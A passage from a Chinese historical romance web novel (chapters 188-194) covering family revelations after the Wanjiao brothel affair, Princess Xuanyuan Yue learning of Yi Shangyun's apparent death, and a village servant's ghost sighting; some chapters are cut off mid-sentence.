燕儿抬起头来支支吾吾地说着,衣上坤已然心里有些窝火与着急,于是便怒道“少爷在街上听说什么了?”

燕儿被这呵斥声再次惊吓地低了头,道“少爷在街上听人说...说秦王殿下今日已经下令将城南万娇阁给封了。”

闻此,衣上坤缓缓坐了下来捋着那撮短须若有所思道“万娇阁被封了?还是秦王亲自下令封的?想必那定是万娇阁里面大有阴谋才被封的。可这又与小姐有何关联?城南万娇阁乃是西秦第一风月场所,烟花之地...城南......”

一念至此,衣上坤忽然心中浮起一抹极不好的预感。于是瞪大了眼睛,一只手亦同时重重地拍在了面前的书案上,就连砚台里的墨都溅了出来,不可思议地对着燕儿吼道“你是说,小姐是去了城南万娇阁?”

燕儿紧锁着眉头,小心翼翼地点了点头。

&

第一百八十八章: 天理昭彰,父债女还

兰香的话尚未说完,就在这时,门外忽然传来一阵撕心裂肺的哭声。

伴随着这阵似曾相识的声音愈来愈近,待其一跨进门来映入兰香和玉娘的眼帘,兰香这才看清,原是嫣红扶着她那白发苍苍,步履蹒跚的外婆进来。

经历了这场惊心动魄的劫难之后,她与相依为命的外婆虽只是一日未见,然兰香此时的心里却觉似是已恍如隔世。

此时,看到外婆毫发无损地出现在她的面前,心里又惊又喜。这一刻,她只想紧紧地拥她入怀,她最亲最挂念的人。

念及此,兰香的心头顿时一热,今天所发生的一切,似是还惊魂未定着,她还以为她再也见不到她的外婆了呢。于是,她口中喃喃惊道了一句“外婆”,便心中感慨万千着激动地赶忙上前向其张开了双臂。

然不想,她满心期待着迎来的,却是冷不防忽地一巴掌。只见那巴掌重重地一落在兰香白皙的脸庞上,便顿时现出了五道清晰的红印来。

兰香当即止步住,脸上扬溢着的欢喜亦自是瞬间全无。只本能地抬手捂起脸来,惊愕地看着老人的眼睛不明白道“外婆,你这是怎么了?是兰香做错什么了么?”

这一巴掌,兰香事先并没有任何防备,就连一旁站着的玉娘和嫣红亦没有想到,但见看着都疼,俩人不禁不约而同地打了个颤,似是惊呆了。

而紧接着所发生的下一幕,更是让在场的所有人都震惊不已。

还未待众人反应过来究竟是怎么回事,只见老人竟忽然抬举起手来在空中,当着在场所有人的面,比方才给兰香的那一巴掌更重更狠地,将其拍在了自己那张被岁月雕蚀的已满是风烛残年的老脸上。

正当老人打算继续伸出另一只手来,掌掴自己另一边的脸庞时,兰香急急回过神来,一个大踏步上去,扑通一声跪倒在了外婆的脚下,同时忙伸手架住了外婆的手臂,哭道“外婆,不要啊,你这是做什么?”

老人一边从兰香的手里拼命挣扎着欲继续掌掴自己,一边哭着说道“你拦我做什么,你不要拦我。你这个死丫头,还想骗我这个不中用的糟老太婆到什么时候?”

兰香跪在地上一边哭,一边摇着头诚惶惶恐地乞求着“外婆,有话好好说,你不要这样。兰香做错了什么,要打要骂,你打骂便是。兰香只求你不要伤害自己,不要这样啊……”

见此,立在一旁的嫣红和玉娘亦忙回过神来,急步上前拉着劝着,一时间,房内嘈杂成一片。

老人苦道“这些年,我老太婆小心翼翼,从不敢太多过问你的事。从小到大,我知道你的身世带给你心里太多的苦。我怕说重了,你心里的负担更重;不说,又怕你嫌我对你不管不问,不关

心你。可无论如何,你也不能‘破罐子破摔’,到万娇阁里来作贱自己啊。你这么做,让我怎么去跟你那死去的娘交待啊。天呢,我这个糟老太婆前世里到底是做了什么孽啊,老天要如此惩罚我?让我白发人送黑发人还不够,今天又如此这般的祸害我这可怜的外孙女?”

“外婆,这一切都跟你无关,兰香也不想啊,试问世人有谁想来这种地方讨生活呢?这都是…都是……”兰香说着说着,忽然停了下来。

她心想:曾经,她还可以将这一切不幸都推到那个,她曾以为对自己始乱终弃又薄情寡义的二郎身上。

因为当时白纸黑字所显现出来的事实,确实是他把她卖到了这火坑里。可如今,她已然知道了事实真相。原来这么多年,终究是她错怪了二郎,还无辜地连累造成了红梅的不幸。

退一万步来说,如果说这场祸事虽不是二郎亲自所为,却也是因他而起。所谓‘我不杀伯人,伯人却因我而死’。但如今,二郎亦已经为了护她而枉送了自己年轻的生命。即使他真的欠她,这一死,也应该足以还清这辈子他欠下她的所有债了。

所以,此时此刻,她除了说‘这一切,都是天意弄人,都是她的命’之外,又还能说些什么呢?

半晌后,兰香只能无力地沉沉道“外婆,天意弄人,这都是兰香的命,兰香不能不认命啊!”

这话一出,哪知老人竟忽然止住了哽咽之声,继而咬牙切齿地恨恨道“不,这不是天意弄人,亦不是你应有的天命。‘天理昭彰,报应不爽’,这是报应,这都是报应啊!”

闻此,兰香满脸疑惑,惊呆了“报应?外婆此话何意?”

老人一边伸手将兰香缓缓扶起身来,一边语重心长地道“嫣红姑娘已经将你所有的事都告诉外婆了,你实不该将一切都瞒着外婆,独自一人承担。你和那二郎之间,也终究是情深缘浅,没有缘份。他能为你挡剑而死,也还算是个有担当的好男儿。可人死不能复生,你亦勿再多念他,多念终无益。”

闻此,兰香悄悄地看了一眼正怯怯地躲在玉娘身后的嫣红,叹了口气道“兰香知道了。只是,外婆

第一百八十九章:似曾相识,原是血浓于水

“怎么会是这样?他果真如此十恶不赦么?竟连对自己的亲身骨肉都狠心下的了手?”兰香心里惊呆了,喃喃说道。

就在这时,众人的耳畔忽然响起一名女子的声音来“不,当年的那位大善人家里,并没有惨遭灭门。老天开眼,给那户人家里留下了一个活口。”

这阵女子的声音铿锵有力,所有人闻声都将目光不约而同地落在了说这句话的嫣红身上,这才看到嫣红那白净的脸庞上早已泪流满面。

“嫣红!”兰香闻此吃惊地口里喃喃道,心中忽然浮起一抹遐想来,忙在自己的记忆里搜寻比对着。

这时,嫣红深吸口气,似是鼓足了勇气,继续掷地有声道“当年,城南那户大善人家唯一的独女少不经事、遇人不淑、引狼入室,这才致使连累了其父惨遭奸人杀害,就连世代久居的祖宅也没能保住,一夜之间易了主。这一切,确实是那个狼子野心,忘恩负义的上门女婿,那个大骗子一开始就绸缪好了的。为了博得我娘芳心,他煞费苦心地布置了一场苦肉计。然蒙上苍垂怜,在那几乎是整片天都塌了一般,漆黑无助的大雨夜里,却让那位可怜的即将临盆的小姐,虽被宅子的新主人抛尸街头,却并没有被当夜的那场大雨给浇死。不仅如此,她还遇到了一位好心人的收留,且生下了一个女儿。历尽艰辛将她抚养成人。好待能有一日,她能代替自己找到那个黑了心肝的畜牲,亲手报了当年的弑父灭门之灾。”

话音刚落,兰香似是也已记起嫣红曾经告诉过她的一切,不可思议地睁大了眼睛看着她,缓缓踱步到她的身边,握起她的手道“嫣红,原来…原来我们,我们真的是亲姐妹。‘似曾相识,原是血浓于水’,难怪当初在万娇阁里,我第一眼见到你,便不知为何,总也忍不住想要亲近你,保护你。”

话到这里,在场的其他所有人也都被这段造化弄人的事惊呆了。

只见兰香一边伸手扯出一方极致淡雅的水绿色丝帕来,替嫣红轻拭着脸庞的泪痕。一边自己却眼里噙满了泪水,深情又心疼地看着嫣红的眼睛,对她说道“嫣红,同我一样,你娘亦已经不在这个世上。可如今,不知道你还能原谅我娘么?正如外婆所说,当初如果我娘能狠心一点儿,当着你娘的面,揭开那个畜牲的庐山真面目来,或许你们家…也不会遭此横祸了。而你,也可以锦衣玉食,安安稳稳地做一个大家闺秀,不至于会和我一样,堕入红尘,一身的污秽不堪。”

岂料嫣红听闻此话,顿时激动不已,歉然道“不,香儿姐,你不要这样说,该说对不起,该请求原谅的是嫣红,还有嫣红的娘。其实…我娘曾经告诉过我。她说,你娘那日独自登门而

来,在我家门口徘徊不定了许久,我娘那时刚好在丫鬟的陪同下经过回廊,看到了你娘一副仿佛很是焦虑不安的样子,想着是不是一个妇道人家碰到了什么难事儿,需要大善人家里的帮衬,便让她的贴身丫鬟出去询问。后来,那丫鬟将你娘打听的事儿便尽数一字不差地告知了我娘。我娘心里当时便已有了几分猜忌,随即使唤丫鬟尾随于你娘之后去一探究竟,便什么都知道了。我娘当时一听,心里便乱了方寸,又气又急,可又不敢告诉我外公,毕竟这桩婚事,是她自己一意孤行非要坚持的,所以,即使是一条路走到黑,她也只能认命,不想让外公为此焦急操心。她又本想自己找那人理论,又怕他一气之下抛下她不管,因为当时毕竟那人来历不明,谁知道他会做出什么事来。况且那时我娘已近临盆,她便全了自己的一己私欲,这才使得你们母女从此没了倚靠。而且,在万娇阁里,同样也正是因为有了香儿姐的庇护,嫣红才能保得一个处子之身。所以,该说对不起和请求原谅的应该是我们母女,香儿姐你何错之有呢?香儿姐,嫣红的娘对不起你们,嫣红对不起你……”

嫣红话音尚还未落,整个身子便轻轻一颤,已悄悄不知不觉中便从兰香的手中滑落下去,紧接着双膝也重重地跪在了兰香的脚下,继而开始连连叩起头来。

兰香一回过神来,亦赶忙蹲身下去跪倒在地上,方才还满满噙在眼里的泪水,瞬间宛如一颗颗断了线的珠子一般止不住地滚落下来,拉着嫣红说“妹妹不哭,快起来。从此以后,我们就是真正的亲姐妹,谁都不欠谁的,谁也都不曾对不起谁,我们谁都再也不说‘对不起’,好么……”

俩个完全不同的家庭出生,却因命运的安排又同样不慎跌入红尘的俩个女子,痴痴地望着彼此的眼睛,会心地一笑,接着紧紧地拥抱在了一起。

“冤孽,真是冤孽呀!”看着眼前所发生的一切,此情此景,老人连连悲伤地叹气,拍着手边的桌案哭道。除此之外,此刻她又还能再说些什么呢?

顷刻间,忽闻静悄悄的窗外一声晴天霹雳,随即划过一道耀眼的闪电,即刻打破了这片宁静的夜空。

紧接着,屋外狂风肆虐,倾盆大雨亦似与这阵狂风早已商量好,紧随其脚步如约而至,瞬间从空中飘落下来。

半开着的窗户被风无情地刮着,在风雨中不停地摇曳,直发出哐当哐当刺耳的声音来。

此时,站在窗户边上一直沉默不语,泪眼婆娑着的玉娘忽然缓过神来。

第一百九十章:雨虐风饕云不归

“对了,云儿她人呢?她怎么没和你们一起回来?不是说,这次一定能把她平安带回来吗?”

听到轩辕玥的声音,一时间所有人同问的目光,都不约而同地聚集到程良的身上。

“衣姑娘……”程良闻声顿时抿了抿嘴唇,露出一脸的难色,只暗自低声喃喃了一句,眼光便立刻朝着四下里躲闪了起来。

天知道程良此时面对这么多人满是希望与期待的眼神,他的心里是何其的为难。

衣上云于他们之间的每一个人都有大恩,亦情同姐妹,可如今却惨遭这样的意外,这叫他如何忍心告诉他们其在跌落悬崖之后,就连尸骨都荡然无存了呢,这太残忍了。

然此时,最让他担忧害怕的,其实并不是这群人。而是正昏迷在榻上盘旋在死亡的边缘与死神全力抗争的他的主子,秦王轩辕翰。

待他苏醒过来,他又将会如何?近期所发生的一切,无疑又一次证明了他的主子对那丫头的决心。

这么多年来,他的主子何曾在意过一个女子,可如今……

思及此,程良的心里竟瞬间希望轩辕翰永远就这么躺着,永远不要醒过来。这样,最起码不会有天崩地裂的那一刻。

可转瞬之间,他又斩断了自己的想法,然却依旧深陷在自己的一片沉思之中不能自拔。待主子醒来,意识到尚还未曾得到,便已彻底失去了那丫头,一切的一切,他的主子又如何接受。

忽然间,程良觉得似乎连周围的空气亦都凝结了,自己不能喘气呼吸。他似是实在已无计可施,多希望能有人来帮帮他啊!

就在程良久久愣在原地里,始终都不知该如何回答众人时,轩辕玥看着程良许久,又回头看了眼轩辕翰手臂上的伤痕,不由得眼睛一怔,心里忽然拂过一抹不好的预感,再次认真地追问起程良来。

“你这是什么意思?程将军何时曾吞吞吐吐过,云儿她到底怎么了?你倒是说话啊!难不成…是不是云儿她……”

“公主殿下,都怪属下无能,没能保护好殿下与衣姑娘…”程良终于再也按耐不住内心的负罪感,拱手行礼打断了她越来越不好的思绪。

然接下来的话顿时犹如一个晴天霹雳,在轩辕玥的头顶上轰隆响起。

只见程良一咬牙,心一横,深吸口气,而此时众人的心似乎亦都随之提至到了嗓门口,眼巴巴地期待着,程良说道“衣姑娘,她可能已经……已经遭遇不测…殁了。”

“什么?”轩辕玥顿时大惊失色着,似觉双眼忽一发黑,便径自晕了过去。

“皇姐”轩辕昊一见,连忙眼疾手快的上前去一把将其扶住。

“公主殿下”众人亦都紧随其后齐呼一声,便都惊恐地蜂拥而上,将两人团团围了

起来。

一时间里,轩辕翰的榻边一片混乱。

就在这时,忽然传来轩辕翰昏迷之中迷迷糊糊的阵阵呢喃之音:

“不要跳,不要跳,不要跳,你给本王回来,给本王回来,本王不许你死,回来,回来……”

“不要碰她,本王不许任何人碰她,除了本王,谁都不能喜欢她。”

“抓紧,无论如何,一定不要松手。本王不会松手,也不允许你松手。”

“不要离开本王,本王不允许你离开本王,不要,不要……”

程良听闻,一个大踏步上前去照顾,却见轩辕翰的眼角,不知何时,竟悄悄的流下了两行泪来。

程良看着心疼极了,蹙眉难过道“都是属下的错,属下没有保护好殿下。为什么,为什么,为什么……”

此时的程良,内心自责极了。

“云儿她…她究竟发生了何事?将军为何说她可能已经遭遇不测,这又是什么意思?还有,秦皇叔,他现在这个样子,到底都发生了些什么事?这一切,你必须一字一句,跟本公主清清楚楚,明明白白,仔仔细细地禀报上来。”半晌后,轩辕玥终于缓缓醒了过来,悲伤地问。

于是,程良便将万娇阁事件的始末详详细细的禀报了起来,尤其是关于轩辕翰和衣上云的部分……

听完了程良的汇报,轩辕玥瞪大了眼睛,震惊呆了。

她站起身来,惊愕道“什么?你说云儿她…唯独她一人,不见了踪影,只留在湖滩上一块血岩石?”

“回公主,是的,属下和易三少已经将整片湖滩都寻遍了,没有发现任何衣姑娘的踪迹。”程良轻叹口气,答道。

“怎么可能?不可能?云儿她,她那样善良,她不可能死的,一定是你们搞错了。那血,你们怎么就能证明它一定是云儿留下的,而不是别人。那一定不会是云儿留下的,一定不是!”轩辕玥声嘶力竭地怒吼着,仿佛她此时的声音越大,便越能证明自己的猜忌是对的,衣上云,她一定是活着的一般。

 

第一百九十一章:长夜漫漫愁不眠

正当屋内所有的空气快速地聚集在一起升温发酵,变得愈来愈紧张,众人的心亦都被窗外夜空里,这场突然而至的急风骤雨紧紧揪着,不知究竟该何去何从的时候,一直沉默不语地立在一旁的玉娘和兰香的眼神,忽然不约而同地飘落撞击在了一起。

俩人经过短暂的相互凝视之后,忽的过去一起在轩辕玥的脚下重重地跪了下来,对她恭敬地俯首跪拜后,玉娘抬起头来信誓旦旦地祈求说道“请求公主殿下让我们来做这件事吧。就算要寻遍西秦的每一条河川、湖泊、溪流,我们也一定会把衣姑娘找回来。即使她真的遭遇了不幸,我们也一定‘生要见人,死要见尸’。况且,我们也相信,衣姑娘那样善良的人,一定会好人有好报的,吉人天佑的。”

“你们又是谁?”轩辕玥闻声,这才忙转头望向了室内里,那几张对于她来说极为陌生的脸,疑惑地问。

玉娘忙再次叩首,感激道“民女们都是受过公主和衣姑娘大恩的人。民妇玉娘,在此叩谢公主的救命之恩,公主的大恩大德,玉娘将永生永世感恩戴德,没齿难忘。”

轩辕玥急急在脑中回忆了一下,发现此时跪在她面前的这个面容姣好,确实有几分气质的女子似乎全无半点映象,随即便一脸疑问道“‘救命之恩’?你一个庶民,本公主深居皇宫之内,甚少出宫。与你之间,又何曾来的救命之恩呢?”

玉娘稍作思索,情真意切地娓娓道“公主乃金枝玉叶,自是‘贵人多忘事’。可玉娘却是结草衔环,至死也不敢忘了公主的恩情。不知公主可还记得,大约半年前,差不多刚过了中秋佳节的样子。有一日,公主和衣姑娘在街上曾救过一名身中剧毒,又遭人追杀的女子的性命呢?后来,公主还好心带民妇去了城东秦王府里养伤。不仅如此,还专门安排留下了衣姑娘来悉心救治,使得民妇这才在鬼门关里走了一趟,重获新生。”

“原来是你,本公主想起来了。那日,也正是因为这件事,才让本公主遇到了他……”轩辕玥闻此,忽然间恍然大悟,却也不由自主地又一次想起,那日里偶遇她英俊潇洒,风度翩翩的意中人梅志煊的一幕幕来,一时间面庞上竟现出一片绯红,独自有些出神了起来。

“公主,公主……”耳旁忽闻一阵女子轻柔的呼唤声,轩辕玥方才从一片深深的沉思之中渐渐缓过神来,面上有些尴尬,只道“哦,你们俩平身吧,方才你们是要跟本公主说……”

还未等轩辕玥将口中的话说完,俩人互相搀扶着一起身来,玉娘便再次忙道“如若能得公主之信任与不弃,我们愿拿自己的性命来做保:只要衣姑娘还活在这个世上,哪怕机会再渺茫,我们也

一定会帮公主将她找回来,这也是帮我们自己把她找回来。衣姑娘对玉娘所做的一切,玉娘这辈子都报答不完。她不仅救了玉娘,还救了玉娘的婆婆和女儿,更挽救了玉娘那颗本欲将死的心。这次,若不是因为玉娘,衣姑娘也不会只身一人来到这城南,继而卷入万娇阁的这场阴谋是非之中。这一切,都是因玉娘而起,这辈子、下辈子、下下辈子、生生世世,玉娘即使做牛做马也都报答不尽,还不清她的这份恩情……”

未及玉娘将话说完,兰香亦诚恳地道“还有兰香,兰香过去为了一己私欲昧了良心,做错了很多事,出卖了以诚相待的姐妹,险些酿成大错。还禁锢了衣姑娘,可她非但没有责备兰香,还帮着兰香逃脱了仇人的追杀,自己却甘愿冒着生命危险去兰香的家里救出了兰香的外婆。兰香此生亦与玉娘一样,愿为奴为婢永远报答衣姑娘的大恩大德。无论衣姑娘她到底是生是死,‘生要见人,死要见尸’,不把衣姑娘找回来,兰香愿遭这外面的天打五雷轰。”

这时,嫣红亦忙伸手挽起兰香的胳膊道“香儿姐和外婆的救命恩人,亦就是嫣红的救命恩人。此生,香儿姐要做什么,嫣红便也跟着做什么。香儿姐所欠下的债,嫣红一起还。况且,虽然嫣红与衣姑娘相识尚浅,但见衣姑娘她确是个聪明善良的女子,相信老天一定不会如此无情,薄待她的。”

轩辕玥看着听着,原本极为冰凉无助的心头,忽然涌上来一股暖流。她放眼过去看着窗外的风驰电掣与滂沱大雨,竟笑了起来,道“老天爷啊,你睁开眼睛来好好看看,张开耳朵好好听听,云儿那样好的一个人,你怎能如此忍心想要带走她?如果是这样,那你就真的是瞎了眼了。这世上,试问以后还会有谁敬你拜你。”

紧接着,她又缓缓踱步到轩辕翰的榻边。看着昏迷中的轩辕翰似是极为痛苦着,额头一直冒着冷汗,且瑟瑟发抖着。嘴角不停地一边抖动着一边低声呢喃着“云儿,回来,不许走,不许离开本王,本王不许,不许……”

此时,她蹙眉默默地坐在一边,拿着一条柔软的白布巾替他擦拭着脸上的汗水,看着眼前这个男人禁闭的双眼,似是从来都没想到过,这个被世人看做是神一样尊贵的男人,竟也会有今日如此孤独无助的一刻。

从小到大,她周围的所有人都认定了在这个男人的一生里,注定了只有刀光剑影、朝堂之争、还有那与生俱来便已落在他的肩头,不容他有半点推卸的一份忘我的守护

第一百九十二章:叹,有情人终难相守

漫漫长夜,愁不能眠。

轩辕玥遣去众人,独自坐在轩辕翰正昏睡着的榻边,眉头紧紧地拧在了一起,露出一脸的担忧之色,久久凝视着他虚弱苍白的脸庞,陷在自己深深的沉思之中。

忽然,“吱呀”一声,像是外室的门被人打了开来。

轩辕玥忙抬起头来,待其走近一看,见原是太医端了一碗汤药进来,便喜道“太医这会儿,可是有能让皇叔苏醒过来的良方了?”

太医进来对其缓缓摇了摇头。

轩辕玥纳闷道“那太医手里的是……”

“公主,这是微臣处方的清热解毒,可以治疗殿下的表症,缓解殿下身上被荆棘所刺伤的药汤。殿下的身上,方才一回来微臣便已交待程将军在替其更换衣物的时候,已经敷过微臣特制的药膏了。现在,让微臣来侍候殿下将这内服的药也赶快服下吧,如此内外兼治,可以更好更快地摧毁病灶,大大减轻殿下的痛苦。”太医解释请求道。

轩辕玥一边听着,一边眼睛痴痴地望着太医手里正捧着的尚还冒着腾腾热气的药碗,之后出神地道了一句“身上的伤痛,可以用其所对症的神草汤药来缓解和治愈,可是心里的呢?”

太医闻此,先是猛一抬头望着轩辕玥眼睛朝其惊愕地一怔,随后稍作思索,答道“殿下正值血气方刚的大好年华,又身经百战,区区这点儿皮外之伤,放在以往里根本就不算什么,自是不在话下。而此次昏迷不醒,只怕是他的心头生了极重的郁结。正所谓‘心病还须心药医’,微臣的药只能解表,剩下的,微臣亦无能为力了,怕是也只有公主能帮殿下了。唉……”

太医无形中又借机递了句话给轩辕玥,意指只有轩辕玥清楚秦王心里的郁结究竟是什么,也只有她才能帮到他。一说完,太医便重重地叹了口气。

秦王府唯一的太医,乐太医,和张嬷嬷一样,都是受先帝亲指,跟随了轩辕翰母妃一辈子的忠仆,如今已年过四旬。

对于秦王府大大小小的事,他虽没有张嬷嬷那般上心和一清二楚,可有些事,他却也是略有所闻的。尤其是每次衣上云受伤在秦王府里被他救治修养的事,他早已察觉,轩辕翰对于衣上云的那份隐隐情愫。

乐太医是个鳏夫,曾与唯一的发妻相敬如宾,恩爱有加,但却不知为何,一生无儿无女。

方才替轩辕翰验伤把脉的时候发现似有蹊跷,后又闻众人谈及轩辕翰和衣上云一起坠崖,衣上云生死不明。身为一个过来人,他略微一想,便已知秦王这次昏迷不醒的真正原由,实质上便是这离人之苦所导致的心病。

乐太医发自肺腑的这一声叹,是叹这世间芸芸痴男怨女的无奈,‘有情人终难相守’,尽是

无独有偶。这叹,不止是叹秦王轩辕翰与衣上云,亦是叹自己与她的亡妻。

片刻后,他正欲迈步上前来喂药,轩辕玥忽回过神来阻止道“把药交给本公主,你也下去歇着吧。”

“公主也要善自珍重,不要太过忧心了。秦王殿下他吉人天相,什么样的大风大浪没见过,相信一定会好起来的。”乐太医一边安慰着轩辕玥,一边奉命将手里的药碗递到了轩辕玥的手里,之后便转身轻轻退了下去,将门轻掩上。

轩辕玥默默的怔看着手里的药汤,正缓缓地冒出一丝一丝的白热气来,说道“秦皇叔,求你快点醒过来吧,云儿出事了,出使东宁的使臣也快要回来了,玥儿的心也乱了。”

片刻后,她一边听着窗外肆虐呼啸,让她不觉有些触目惊心的风声雨声,一边伸手从碗里轻舀了一勺出来,又放在自己的唇边对着吹了口气,就这样一勺一勺地将其全部送入了轩辕翰的口中。

“其实,玥儿知道,皇叔心里一定是在怀疑梅志煊,怀疑他送嫁之后并未回国,而是对我西秦仍然心存不轨。怀疑是他将云儿故意从城西带到了城南万娇阁来,可玥儿不明白,他为什么要这样做呢?云儿与他并不相熟,且一向无冤无仇,他又有何理由要如此对云儿。还是,还是玥儿真的看错了他。”最后,她一边轻轻地帮他拭去嘴角的药汤,一边喃喃自语地说道。

长夜漫漫,轩辕玥的心里又是多么的复杂与受尽煎熬,除了她自己,怕是无人能明白。若不能嫁给自己心怡的对象梅志煊,她便一定会被安排与北烈国大皇子拓跋泽和亲。

可有道是‘男怕入错行,女怕嫁错郎’,如果那在她的心中一直认为是飘飘似仙,又温润如玉的梅志煊亦是如此极具城府,让人捉摸不透,狠毒之人的话,她又该何去何从呢?

虽然轩辕玥此刻的心极为忐忑不安地苦苦纠结着,但她对于梅志煊的心,早已是刻苦铭心、覆水难收、坚若磐石、已是非君不嫁的地步,此生自是再也收不回来了。

可往往人在自己年轻,因为一时冲动,遇见了身体里那个到处乱窜,悸动的另一个自己的身影,而将自己的心错付了的时候,结果往往都早已注定了最多将是一场华丽谢幕的人生悲剧。

轩辕玥虽贵为西秦长公主,然

第一百九十三章:一主一仆一世界

衣上俊看着眼前一片混乱,惊道“燕儿…这么晚了,你怎么来了。妹妹,你手里举着戒尺,这是要做什么……”

燕儿不及衣上俊将话讲完,亦不及衣上雪开口争辩,便一边抹着不知是恐惧还是着急担心的眼泪,一边扑通一声跪在了地上,甚是可怜兮兮地祈求道“少爷,燕儿求求你救救我家小姐吧!”

衣上俊见势,忙三步并作两步地急急走下石阶,飞奔朝着燕儿而去,将她扶起身,道“燕儿,有话起来慢慢说,大姐她怎么了?”

衣上雪一见眼前的情景,气的似是都快要吐血了,直大力地连连跺着脚吼叫道“哥,那个院子里的贱蹄子,你管她是生是死呢?她就是一个丧门星,早死早消停。”

“你给我住嘴,以后不许你这样诋毁咒骂大姐。没有大姐,便不会有我衣上俊的今日。你若再执迷不悟,从此便不要再唤我大哥了。”衣上俊回过头来狠狠地教训衣上雪道。

衣上雪气的牙齿咬的直咯咯响,无奈之下,一把将手中的戒尺大力地摔在燕儿和衣上俊的面前。之后,便气呼呼地一边喊娘,一边哭闹着朝最东面的里屋奔了去。

“还不都快都散了,聚在这里等着挨板子么?”衣上雪离去,衣上俊方才将视线落向了正聚集在一堆看热闹的丫鬟小厮们身上,朝其呵斥道。

众人散去,衣上俊问燕儿道“大姐究竟怎么了,走,到我屋里去说。”

燕儿此时只恨不得自己没有长上一副翅膀,忙道“不,不行,来不及了,少爷,燕儿求你,赶快救救大小姐吧。如果晚了,只怕是,只怕是小姐一定命将不保了啊。”

“什么事如此严重,你总得于我说清楚了啊,你要我怎么帮你呢?”衣上俊满脸疑惑道。

燕儿只道“少爷马上带燕儿去城南万娇阁,现在,立刻,马上就走。”

衣上俊闻言,顿时惊呆了“‘万娇阁’,那种地方本少爷怎么能去呢,这若是被父亲知道了,一定非要了本少爷的命不可。”

燕儿道“少爷放心走便是,老爷亲口同意了的。具体情况,等会儿燕儿在路上自会于少爷详细说明。”

“什么?父亲同意了……”

尚未及衣上俊弄清楚到底发生了什么,便已被燕儿连拖带拽地塞进了来兰姨娘院落之前,她早已安排好的马车里。

俩人乘坐的马车刚一出衣府大门,空中突然划过一道霹雳闪电,似是欲将整个夜空都要撕破了开来。

衣府阁楼上,衣上坤单手负后着立在窗前望着马车离去的背影,看到这道晴空霹雳,忽然心神不宁了起来。

……

当西秦国的大多数人们尚还沉浸在自己甜美的睡梦中时,西秦国的东南方边境,

一个全国地势最低的名叫桃花店的小村落里,太阳已经缓缓从地平线上升起。

桃花店村整个村子加起来也不过十几户人家,这里民风淳朴,人们亦都几乎全是‘日出而作,日落而息’勤劳、朴实、忠厚的庄户人。

东边的村口,有一条由北向南流向的大河,一直蜿蜒曲折地向东流去。

村里有一条清澈见底的小河,便是从这条河水里引入的。

河水潺潺地流淌着,穿过了整个桃花店村,供养着这村子里幸福的人们的劳作生息。

当清晨的第一缕阳光,悄悄洒落在这片宁静的大地上时,村里有位颇受尊敬的老妇人,一如往常地准时缓缓地睁开了眼睛。

就在这时,“吱呀”一声,老妇人的房门被人打开,走进来一个约摸十三四岁的鹅蛋脸小丫头,手里捧着一木盆梳妆用的清水。

小丫头一袭淡黄色衣裙,梳着一头双丫髻,嘴角微微上翘着,露出一抹惬意而又自在的微笑,显得很是乖巧灵动和对自己简单闲暇生活的舒心满足,她边走边喜道“太……老夫人,该起床了。”

老妇人闻声,一边从床上坐起身来,一边言色俱都有些不悦地厉声道“死丫头,都这么多年了,怎么还是如此大大咧咧,说话还是那么不小心呢?仔细哪天老身一气之下把你给打发了。”

小丫头自知自己一时得意忘了形,失了言,可亦知道她的主子一向是刀子嘴豆腐心,最是心善,又何曾真正地责怪过自己。便往一旁拿了老妇人的衣物,近身到其身边依旧笑着道“老夫人切莫动气,以后欢儿再也不敢了。”

老妇人听了,狠狠地瞪了她一眼,可欢儿却依旧天真无邪地瞪着她的那对似是永远都没有烦恼的大眼睛,傻傻地笑看着老妇人那双永远都留着一抹忧郁的眼神。

过去每每这个时刻,老妇人的气最终都是在这样,拿这个丫头无可奈何的情况下消了去的。在桃花店村居住的这七八年个年头里,都是如此。

说话间,小丫头已经麻利地替主子换好了一袭紫衣,擦洗完毕。

这时,老妇人挪了挪身子,坐在了一面菱花镜前,虽已年过四旬,却依旧风韵犹存,脸上并不见留下多少岁月风霜雕琢的痕迹。

只是,这七八年来,她心间的那份从来都不敢说出口的惆

第一百九十四章:懒鬼遇水鬼

老妇人望着院角里,枝头满满都是正含苞欲放着的海棠花骨朵,欣喜道“时间过得可真快,转眼间又到了海棠依旧的时候了。今年的春天,仿佛比往年来的要更早一些。”

不知忆起了什么,突然间她的眼里噙满了泪水。

这时,忽然有个一身灰色短打的壮年男子,跌跌撞撞着如同见了鬼一般地匆匆跑进门来,近身到老妇人身边,上气不接下气地抚着胸口道“老夫人...您...您快过去看一看吧,村子里...村子里出大事了。”

欢儿闻声吓了一跳,速速转过身去,眼睛对着来人顿时一怔,继而又回头一脸惊讶地将目光落在了自己的主子身上,这才发现身旁的主人竟已不知何时眼睛一片潮红着,似是尚还有些泪水盈眶。

于是,她清了清嗓门,先对付着抢过那壮年男子的话,朝其厉声道“王二,这大清早的,你猴急个什么劲?看看你,跑的满头大汗,气喘吁吁的,又不是见鬼了?”

此时的王二,顿足站立在距离老妇人的身后不远处,他将两只手插在腰间,大口的喘着粗气,那样子真正像极了一只吐着长长的舌头,已是苟延残喘的老狗。

欢儿说完话后,又朝其仔细看去,那王二似是像真的受到了什么惊吓般,脸色一片煞白着。

一听到欢儿说出口的这句本是童言无忌的无心之语,王二的心中却不禁又一次顿感惊愕,道“欢儿姑娘,这还真是‘近朱者赤,近墨者黑’呀,你陪伴老夫人这尊‘活菩萨’日子久了,如今,倒竟也成了半个仙人了,你是怎么知道我王二见鬼了?”

欢儿听了王二的话,深感惊讶,顿时竟变得一愣一愣的。

只见她伸出一根瘦小的手指来,指指王二,又指了指自己,最终将其落在了那一脸惊诧的王二身上,吞吞吐吐地吃惊道“你…我…你真的见鬼了?”

王二皱起眉来,双手提了提裤腿,便就这样就地蹲了下去,继而唉声叹气地说道“唉,这大过年的,一大早竟然让我王二撞见了一只水鬼,你说我怎么就那么倒霉呢?只怕是今年这一年都翻不了身了,这可真是晦气。早知道,我就多睡一会儿懒觉,不起那么早去挑那什么他娘的见鬼的水了!”

欢儿一听这话,心里顿时来了气,她抬头看了一眼太阳的位置,对其轻蔑地道“你懒就说懒呗,找那么多借口做什么?这里谁不知道,你王二是这整个桃花店村里出了名的最懒的懒汉了。人家都是天还没亮,就已经把自家的水缸挑的满满的,煮热食吃了。可你呢,你倒是抬起你那尊贵的眼睛来看看,如今已是快日上三竿的时辰了,家家户户怕是都已经准备着煮晌午的吃食了,你竟还好意思跑来这里说‘一大早’

